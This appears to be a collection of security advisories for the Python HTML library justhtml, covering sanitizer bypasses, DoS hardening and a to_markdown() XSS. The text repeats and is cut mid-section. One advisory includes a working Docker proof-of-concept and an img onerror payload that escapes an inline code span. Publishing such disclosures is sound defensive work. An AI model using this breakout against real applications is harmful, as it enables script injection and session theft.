Attacker-controlled text containing punctuation-heavy input or URL candidates ending in long runs of unmatched closing brackets could cause repeated rescanning and consume disproportionate CPU when linkification was enabled.

Default configuration

Ordinary sanitization of parsed HTML with the default JustHTML(..., sanitize=True) configuration is not expected to expose untrusted users to selector injection, because selectors are normally supplied by application code.

The main risk areas are:

• applications that accept selector strings from untrusted users and pass them to query(...), matches(...), or selector-based transforms
• custom transform or sanitization pipelines that run selector matching over very large untrusted documents
• applications that construct or mutate DOM trees programmatically from untrusted structure
• applications that enable Linkify(...) over attacker-controlled text

Fixes in 1.18.0

1.18.0 adds generalized selector resource controls and removes several repeated-work hot paths:

• shared selector limits for parse and match operations
• structural caps for selector length, selector lists, compound selectors, complex selectors, and parse depth
• match-operation and string-byte budgets
• per-query matcher state for caches and cycle guards
• precomputed or cached ancestor, sibling, positional, attribute-token, text-content, :not(...), :empty, and :nth-child(...) work
• consistent enforcement across public parsing, query(...), tag-only query fast paths, transform selector compilation, and sanitization transform matching
• linkification hardening for punctuation-heavy inputs and trailing bracket trimming

CWE mapping

• CWE-400: Uncontrolled Resource Consumption
• CWE-407: Inefficient Algorithmic Complexity
• CWE-835: Loop with Unreachable Exit Condition

Recommended action

Upgrade to justhtml 1.18.0.

If users cannot upgrade immediately:

• do not pass untrusted selector strings to query(...), matches(...), or selector-based transforms
• restrict the size of untrusted documents before selector matching or linkification
• avoid constructing programmatic DOM graphs from untrusted structure
• avoid enabling Linkify(...) on very large attacker-controlled text

Credit

Discovered during an internal security review of justhtml.

Summary

justhtml 1.17.0 fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.

Most of these issues affected advanced or custom configurations rather than the default safe path.

Affected versions

• justhtml <= 1.16.0

Fixed version

• justhtml 1.17.0 released on April 19, 2026

Impact

Custom SVG / MathML sanitization policies

Custom policies that preserved foreign namespaces could allow dangerous content to survive sanitization, including:

• active HTML integration points such as SVG <foreignObject>, MathML <annotation-xml encoding="text/html">, SVG <title> / <desc>, and MathML text integration points
• mutation-XSS parser-differential payloads that looked inert in memory but became active HTML after reparse
• SVG filter="url(...)" attributes that could trigger external fetches

These issues affected:

• JustHTML(..., sanitize=True) with custom foreign-namespace policies
• sanitize() / sanitize_dom()
• low-level terminal Sanitize(...) transform execution

Preserved <style> handling

Constructor-time sanitization and explicit Sanitize(...) transforms did not fully match sanitize() / sanitize_dom() when custom policies preserved <style>.

That could leave resource-loading CSS such as @import or background-image:url(...) in sanitized output from HTML string input.

Programmatic DOM serialization

Programmatic script, style, and Comment(...) nodes could still serialize into active markup in some edge cases.

This could affect applications that build or mutate DOM trees directly before calling to_html() or to_markdown(html_passthrough=True).

Cache mutation and DOM cycle handling

Two lower-severity hardening fixes were included:

• compiled sanitize-pipeline caches could be mutated after warming and weaken later sanitization
• parent/child cycles in programmatic DOM trees could cause infinite loops in operations such as to_html() and sanitize_dom()

Default configuration

Most of the issues above did not affect ordinary parsed HTML with the default JustHTML(..., sanitize=True) configuration.

The main risk areas were:

• custom policies that preserve SVG or MathML
• custom policies that preserve <style>
• programmatic DOM construction or mutation
• low-level direct sanitizer/transform APIs

Recommended action

Upgrade to justhtml 1.17.0.

If users cannot upgrade immediately:

• avoid preserving SVG or MathML for untrusted input
• avoid preserving <style> for untrusted input
• avoid mutating programmatic DOM trees with untrusted script, style, or comment content
• avoid mutating warmed policy internals or sanitizer caches

Credit

Discovered during an internal security review of justhtml.

justhtml: to_markdown() code-span blank-line breakout enables XSS

Summary

In justhtml 0.9.0 through 1.21.0, to_markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (\n\n) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).

Details

to_markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to_markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."

The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:

src/justhtml/node.py:32-41 (tag v1.21.0):

def _markdown_code_span(s: str | None) -> str:
    if s is None:
        s = ""
    # Use a backtick fence longer than any run of backticks inside.
    fence = _markdown_backtick_fence(s, minimum=1)
    # CommonMark requires a space if the content starts/ends with backticks.
    needs_space = s.startswith("`") or s.endswith("`")
    if needs_space:
        return f"{fence} {s} {fence}"
    return f"{fence}{s}{fence}"

The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:

src/justhtml/node.py:1061-1078 (tag v1.21.0):

            if tag == "pre":
                code = current.to_text(separator="", strip=False)
                if current_in_link:
                    current_builder.raw(_markdown_code_span(code))      # inline path
                else:
                    fence = _markdown_backtick_fence(code, minimum=3)   # block path
                    ...
            if tag == "code" and not current_preserve:
                current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False)))

A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.

Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT_POLICY.allowed_tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so <img …> enters the DOM as literal <img …> text while passing HTML sanitization.

Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:

• Plain text-node content is HTML-escaped before Markdown escaping, so the same <img …> outside a code span is neutralized to <img …>. Inside a code span it is not escaped — the fence is assumed sufficient.
• <pre> outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same <pre> inside a link (line 1064) and all <code> use the inline span, which a blank line breaks.

PoC

Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.

Dockerfile:

FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \
 && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]

poc.py:

#!/usr/bin/env python3
"""PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from __future__ import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown_it import MarkdownIt

MARKER = "__POC_XSS_MARKER__"
PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark")  # raw-HTML passthrough is the CommonMark default


def build_inputs() -> tuple[str, str]:
    enc = PAYLOAD_TEXT.replace("<", "&lt;").replace(">", "&gt;")
    control = f"<code>q{enc}</code>"          # no blank line -> should stay inert
    exploit = f"<code>q\n\n{enc}</code>"      # + one blank line -> the whole exploit
    return control, exploit


def to_markdown(html: str) -> str:
    return JustHTML(html, fragment=True).to_markdown()  # public API, default sanitize=True


class _SinkFinder(HTMLParser):
    def __init__(self) -> None:
        super().__init__(); self.sinks: list[tuple[str, str, str]] = []
    def handle_starttag(self, tag, attrs):
        for name, val in attrs:
            if name.startswith("on") and val and MARKER in val:
                self.sinks.append((tag, name, val))


def live_sinks(html: str):
    f = _SinkFinder(); f.feed(html); return f.sinks


def show(label: str, html: str):
    md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)
    print(f"== {label} ==")
    print(f"  1. input HTML        : {html!r}")
    print(f"  2. to_markdown() out : {md!r}")
    print(f"  3. CommonMark render : {rendered.strip()!r}")
    print(f"  4. live JS sinks     : {sinks if sinks else 'NONE (inert)'}\n")
    return rendered, sinks


def prove_exec(rendered: str) -> None:
    print("== --prove-exec (supplementary, container-only) ==")
    sinks = live_sinks(rendered)
    if not sinks:
        print("  no sink to execute"); return
    handler_js = sinks[0][2]
    print(f"  materialized handler JS: {handler_js!r}")
    try:
        import dukpy
    except Exception:
        print("  [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
    result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;")
    print(f"  JS engine result: {result!r}  -> attacker JS executed" if result else "  JS did not fire")


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--prove-exec", action="store_true")
    args = ap.parse_args()
    control, exploit = build_inputs()
    print("Delta between control and exploit: exactly one blank line (\\n\\n).\n")
    _, c_sinks = show("CONTROL  (payload in <code>, NO blank line)", control)
    ex_rendered, e_sinks = show("EXPLOIT  (payload in <code>, + blank line)", exploit)
    ok = (not c_sinks) and bool(e_sinks)
    print("== VERDICT ==")
    print("  BYPASS CONFIRMED." if ok else "  not reproduced")
    if ok:
        print(f"  Sanitized code text became a LIVE element: {e_sinks[0]}")
    print()
    if ok and args.prove_exec:
        prove_exec(ex_rendered)
    return 0 if ok else 1


if __name__ == "__main__":
    raise SystemExit(main())

Build and run:

docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc

Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):

=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0

Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.

== CONTROL  (payload in <code>, NO blank line) ==
  1. input HTML        : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>'
  4. live JS sinks     : NONE (inert)

== EXPLOIT  (payload in <code>, + blank line) ==
  1. input HTML        : '<code>q\n\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
  4. live JS sinks     : [('img', 'onerror', '__POC_XSS_MARKER__()')]

== VERDICT ==
  BYPASS CONFIRMED.
  The blank line terminated the inline code span; sanitized code
  text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
  The control (no blank line) stayed inert inside <code>.

The exploit is byte-identical to the inert control plus a single blank line (\n\n). Deterministic: same input → same result.

Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec) — supplementary; the parse proof above is canonical. Inert marker only:

== --prove-exec (supplementary, container-only) ==
  materialized handler JS: '__POC_XSS_MARKER__()'
  JS engine result: 'XSS-EXECUTED'  -> attacker JS executed

Impact

This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).

An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.

Severity: CVSS 3.1 6.1 (Moderate), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.

Recommended fix

Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.

Resources

• CWE-79 — https://cwe.mitre.org/data/definitions/79.html
• CWE-116 — https://cwe.mitre.org/data/definitions/116.html
• Affected source (tag v1.21.0): src/justhtml/node.py:32-41 (_markdown_code_span), src/justhtml/node.py:1061-1078 (<pre>/<code> dispatch).
• CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
• Novelty: same vulnerability class as two prior, already-fixed to_markdown() advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for <pre> code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at v1.21.0, and origin/main == v1.21.0 (no embargoed fix).

Summary

justhtml 1.18.0 fixes multiple low-severity denial-of-service hardening issues in CSS selector handling and linkification.

These issues are availability concerns. They do not allow script execution, data disclosure, or sanitizer bypass by themselves.

Affected versions

• justhtml < 1.18.0

Fixed version

• justhtml 1.18.0 released on May 4, 2026

Impact

CSS selector handling

Applications that evaluate attacker-controlled selector strings, or that run selector-based transform pipelines over attacker-controlled documents, could consume disproportionate CPU or memory.

The affected selector patterns included oversized selectors, large selector lists, oversized compound selectors, long combinator chains, deeply nested functional pseudo-classes such as :not(...), repeated attribute/class token matching over large values, repeated sibling or ancestor scans, repeated positional pseudo-class work, and :contains(...) over large descendant text.

Programmatically constructed malformed DOM graphs could also trigger non-terminating or duplicate traversal in some selector paths, including cyclic/shared child graphs, cyclic parent chains, and cyclic text traversal for :contains(...).

Linkification

Attacker-controlled text containing punctuation-heavy input or URL candidates ending in long runs of unmatched closing brackets could cause repeated rescanning and consume disproportionate CPU when linkification was enabled.

Default configuration

Ordinary sanitization of parsed HTML with the default JustHTML(..., sanitize=True) configuration is not expected to expose untrusted users to selector injection, because selectors are normally supplied by application code.

The main risk areas are:

• applications that accept selector strings from untrusted users and pass them to query(...), matches(...), or selector-based transforms
• custom transform or sanitization pipelines that run selector matching over very large untrusted documents
• applications that construct or mutate DOM trees programmatically from untrusted structure
• applications that enable Linkify(...) over attacker-controlled text

Fixes in 1.18.0

1.18.0 adds generalized selector resource controls and removes several repeated-work hot paths:

• shared selector limits for parse and match operations
• structural caps for selector length, selector lists, compound selectors, complex selectors, and parse depth
• match-operation and string-byte budgets
• per-query matcher state for caches and cycle guards
• precomputed or cached ancestor, sibling, positional, attribute-token, text-content, :not(...), :empty, and :nth-child(...) work
• consistent enforcement across public parsing, query(...), tag-only query fast paths, transform selector compilation, and sanitization transform matching
• linkification hardening for punctuation-heavy inputs and trailing bracket trimming

CWE mapping

• CWE-400: Uncontrolled Resource Consumption
• CWE-407: Inefficient Algorithmic Complexity
• CWE-835: Loop with Unreachable Exit Condition

Recommended action

Upgrade to justhtml 1.18.0.

If users cannot upgrade immediately:

• do not pass untrusted selector strings to query(...), matches(...), or selector-based transforms
• restrict the size of untrusted documents before selector matching or linkification
• avoid constructing programmatic DOM graphs from untrusted structure
• avoid enabling Linkify(...) on very large attacker-controlled text

Credit

Discovered during an internal security review of justhtml.

Summary

justhtml 1.17.0 fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.

Most of these issues affected advanced or custom configurations rather than the default safe path.

Affected versions

• justhtml <= 1.16.0

Fixed version

• justhtml 1.17.0 released on April 19, 2026

Impact

Custom SVG / MathML sanitization policies

Custom policies that preserved foreign namespaces could allow dangerous content to survive sanitization, including:

• active HTML integration points such as SVG <foreignObject>, MathML <annotation-xml encoding="text/html">, SVG <title> / <desc>, and MathML text integration points
• mutation-XSS parser-differential payloads that looked inert in memory but became active HTML after reparse
• SVG filter="url(...)" attributes that could trigger external fetches

These issues affected:

• JustHTML(..., sanitize=True) with custom foreign-namespace policies
• sanitize() / sanitize_dom()
• low-level terminal Sanitize(...) transform execution

Preserved <style> handling

Constructor-time sanitization and explicit Sanitize(...) transforms did not fully match sanitize() / sanitize_dom() when custom policies preserved <style>.

That could leave resource-loading CSS such as @import or background-image:url(...) in sanitized output from HTML string input.

Programmatic DOM serialization

Programmatic script, style, and Comment(...) nodes could still serialize into active markup in some edge cases.

This could affect applications that build or mutate DOM trees directly before calling to_html() or to_markdown(html_passthrough=True).

Cache mutation and DOM cycle handling

Two lower-severity hardening fixes were included:

• compiled sanitize-pipeline caches could be mutated after warming and weaken later sanitization
• parent/child cycles in programmatic DOM trees could cause infinite loops in operations such as to_html() and sanitize_dom()

Default configuration

Most of the issues above did not affect ordinary parsed HTML with the default JustHTML(..., sanitize=True) configuration.

The main risk areas were:

• custom policies that preserve SVG or MathML
• custom policies that preserve <style>
• programmatic DOM construction or mutation
• low-level direct sanitizer/transform APIs

Recommended action

Upgrade to justhtml 1.17.0.

If users cannot upgrade immediately:

• avoid preserving SVG or MathML for untrusted input
• avoid preserving <style> for untrusted input
• avoid mutating programmatic DOM trees with untrusted script, style, or comment content
• avoid mutating warmed policy internals or sanitizer caches

Credit

Discovered during an internal security review of justhtml.

Summary

justhtml 1.16.0 fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.

Most of these issues affected one of these advanced paths rather than ordinary parsed HTML with the default safe settings:

• programmatic DOM input to sanitize() or sanitize_dom()
• reused or mutated sanitization policy objects
• custom policies that preserve foreign namespaces such as SVG or MathML

Affected versions

• justhtml <= 1.15.0

Fixed version

• justhtml 1.16.0 released on April 12, 2026

Impact

Policy reuse and mutation

Nested mutation of sanitization policy internals could weaken later sanitization by leaving stale compiled sanitizers active, or by mutating exported default policy internals process-wide.

In-memory sanitization gaps

Programmatic DOM sanitization could miss dangerous mixed-case tag names such as ScRiPt or StYlE, and custom drop_content_tags values such as {"SCRIPT"} could silently fail to drop dangerous subtrees.

Serialization injection

Crafted programmatic doctype names could serialize into active markup before the document body.

Foreign-namespace policy bypasses

Custom policies that preserve SVG or MathML could allow active SVG features to survive sanitization, including:

• animation elements such as <set> and <animate> that mutate already-sanitized attributes after sanitization
• presentation attributes such as fill, clip-path, mask, marker-start, and cursor containing external url(...) references
• programmatic DOM trees that claim namespace="html" but serialize as <svg> or <math>, bypassing foreign-content checks

Rawtext hardening gap

Mixed-case programmatic style or script nodes could bypass rawtext hardening and preserve active stylesheet content such as remote @import rules.

Default configuration

Most of these issues did not affect the normal JustHTML(..., sanitize=True) path for ordinary parsed HTML.

The main exceptions were policy-mutation issues, which could weaken later sanitization if code mutated nested state on reused policy objects or exported defaults.

Recommended action

Upgrade to justhtml 1.16.0.

If you cannot upgrade immediately:

• do not mutate DEFAULT_POLICY, DEFAULT_DOCUMENT_POLICY, or nested policy internals
• avoid reusing policy objects after mutating nested state
• avoid preserving SVG or MathML for untrusted input
• avoid preserving style or script in custom policies for untrusted input
• avoid serializing untrusted programmatic doctypes or DOM trees

Credit

Discovered during an internal security review of justhtml.

justhtml: to_markdown() code-span blank-line breakout enables XSS

Summary

In justhtml 0.9.0 through 1.21.0, to_markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (\n\n) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).

Details

to_markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to_markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."

The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:

src/justhtml/node.py:32-41 (tag v1.21.0):

def _markdown_code_span(s: str | None) -> str:
    if s is None:
        s = ""
    # Use a backtick fence longer than any run of backticks inside.
    fence = _markdown_backtick_fence(s, minimum=1)
    # CommonMark requires a space if the content starts/ends with backticks.
    needs_space = s.startswith("`") or s.endswith("`")
    if needs_space:
        return f"{fence} {s} {fence}"
    return f"{fence}{s}{fence}"

The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:

src/justhtml/node.py:1061-1078 (tag v1.21.0):

            if tag == "pre":
                code = current.to_text(separator="", strip=False)
                if current_in_link:
                    current_builder.raw(_markdown_code_span(code))      # inline path
                else:
                    fence = _markdown_backtick_fence(code, minimum=3)   # block path
                    ...
            if tag == "code" and not current_preserve:
                current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False)))

A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.

Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT_POLICY.allowed_tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so <img …> enters the DOM as literal <img …> text while passing HTML sanitization.

Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:

• Plain text-node content is HTML-escaped before Markdown escaping, so the same <img …> outside a code span is neutralized to <img …>. Inside a code span it is not escaped — the fence is assumed sufficient.
• <pre> outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same <pre> inside a link (line 1064) and all <code> use the inline span, which a blank line breaks.

PoC

Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.

Dockerfile:

FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \
 && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]

poc.py:

#!/usr/bin/env python3
"""PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from __future__ import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown_it import MarkdownIt

MARKER = "__POC_XSS_MARKER__"
PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark")  # raw-HTML passthrough is the CommonMark default


def build_inputs() -> tuple[str, str]:
    enc = PAYLOAD_TEXT.replace("<", "&lt;").replace(">", "&gt;")
    control = f"<code>q{enc}</code>"          # no blank line -> should stay inert
    exploit = f"<code>q\n\n{enc}</code>"      # + one blank line -> the whole exploit
    return control, exploit


def to_markdown(html: str) -> str:
    return JustHTML(html, fragment=True).to_markdown()  # public API, default sanitize=True


class _SinkFinder(HTMLParser):
    def __init__(self) -> None:
        super().__init__(); self.sinks: list[tuple[str, str, str]] = []
    def handle_starttag(self, tag, attrs):
        for name, val in attrs:
            if name.startswith("on") and val and MARKER in val:
                self.sinks.append((tag, name, val))


def live_sinks(html: str):
    f = _SinkFinder(); f.feed(html); return f.sinks


def show(label: str, html: str):
    md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)
    print(f"== {label} ==")
    print(f"  1. input HTML        : {html!r}")
    print(f"  2. to_markdown() out : {md!r}")
    print(f"  3. CommonMark render : {rendered.strip()!r}")
    print(f"  4. live JS sinks     : {sinks if sinks else 'NONE (inert)'}\n")
    return rendered, sinks


def prove_exec(rendered: str) -> None:
    print("== --prove-exec (supplementary, container-only) ==")
    sinks = live_sinks(rendered)
    if not sinks:
        print("  no sink to execute"); return
    handler_js = sinks[0][2]
    print(f"  materialized handler JS: {handler_js!r}")
    try:
        import dukpy
    except Exception:
        print("  [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
    result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;")
    print(f"  JS engine result: {result!r}  -> attacker JS executed" if result else "  JS did not fire")


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--prove-exec", action="store_true")
    args = ap.parse_args()
    control, exploit = build_inputs()
    print("Delta between control and exploit: exactly one blank line (\\n\\n).\n")
    _, c_sinks = show("CONTROL  (payload in <code>, NO blank line)", control)
    ex_rendered, e_sinks = show("EXPLOIT  (payload in <code>, + blank line)", exploit)
    ok = (not c_sinks) and bool(e_sinks)
    print("== VERDICT ==")
    print("  BYPASS CONFIRMED." if ok else "  not reproduced")
    if ok:
        print(f"  Sanitized code text became a LIVE element: {e_sinks[0]}")
    print()
    if ok and args.prove_exec:
        prove_exec(ex_rendered)
    return 0 if ok else 1


if __name__ == "__main__":
    raise SystemExit(main())

Build and run:

docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc

Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):

=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0

Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.

== CONTROL  (payload in <code>, NO blank line) ==
  1. input HTML        : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>'
  4. live JS sinks     : NONE (inert)

== EXPLOIT  (payload in <code>, + blank line) ==
  1. input HTML        : '<code>q\n\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
  4. live JS sinks     : [('img', 'onerror', '__POC_XSS_MARKER__()')]

== VERDICT ==
  BYPASS CONFIRMED.
  The blank line terminated the inline code span; sanitized code
  text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
  The control (no blank line) stayed inert inside <code>.

The exploit is byte-identical to the inert control plus a single blank line (\n\n). Deterministic: same input → same result.

Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec) — supplementary; the parse proof above is canonical. Inert marker only:

== --prove-exec (supplementary, container-only) ==
  materialized handler JS: '__POC_XSS_MARKER__()'
  JS engine result: 'XSS-EXECUTED'  -> attacker JS executed

Impact

This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).

An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.

Severity: CVSS 3.1 6.1 (Moderate), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.

Recommended fix

Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.

Resources

• CWE-79 — https://cwe.mitre.org/data/definitions/79.html
• CWE-116 — https://cwe.mitre.org/data/definitions/116.html
• Affected source (tag v1.21.0): src/justhtml/node.py:32-41 (_markdown_code_span), src/justhtml/node.py:1061-1078 (<pre>/<code> dispatch).
• CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
• Novelty: same vulnerability class as two prior, already-fixed to_markdown() advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for <pre> code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at v1.21.0, and origin/main == v1.21.0 (no embargoed fix).

Summary

justhtml 1.18.0 fixes multiple low-severity denial-of-service hardening issues in CSS selector handling and linkification.

These issues are availability concerns. They do not allow script execution, data disclosure, or sanitizer bypass by themselves.

Affected versions

• justhtml < 1.18.0

Fixed version

• justhtml 1.18.0 released on May 4, 2026

Impact

CSS selector handling

Applications that evaluate attacker-controlled selector strings, or that run selector-based transform pipelines over attacker-controlled documents, could consume disproportionate CPU or memory.

The affected selector patterns included oversized selectors, large selector lists, oversized compound selectors, long combinator chains, deeply nested functional pseudo-classes such as :not(...), repeated attribute/class token matching over large values, repeated sibling or ancestor scans, repeated positional pseudo-class work, and :contains(...) over large descendant text.

Programmatically constructed malformed DOM graphs could also trigger non-terminating or duplicate traversal in some selector paths, including cyclic/shared child graphs, cyclic parent chains, and cyclic text traversal for :contains(...).

Linkification

Attacker-controlled text containing punctuation-heavy input or URL candidates ending in long runs of unmatched closing brackets could cause repeated rescanning and consume disproportionate CPU when linkification was enabled.

Default configuration

Ordinary sanitization of parsed HTML with the default JustHTML(..., sanitize=True) configuration is not expected to expose untrusted users to selector injection, because selectors are normally supplied by application code.

The main risk areas are:

• applications that accept selector strings from untrusted users and pass them to query(...), matches(...), or selector-based transforms
• custom transform or sanitization pipelines that run selector matching over very large untrusted documents
• applications that construct or mutate DOM trees programmatically from untrusted structure
• applications that enable Linkify(...) over attacker-controlled text

Fixes in 1.18.0

1.18.0 adds generalized selector resource controls and removes several repeated-work hot paths:

• shared selector limits for parse and match operations
• structural caps for selector length, selector lists, compound selectors, complex selectors, and parse depth
• match-operation and string-byte budgets
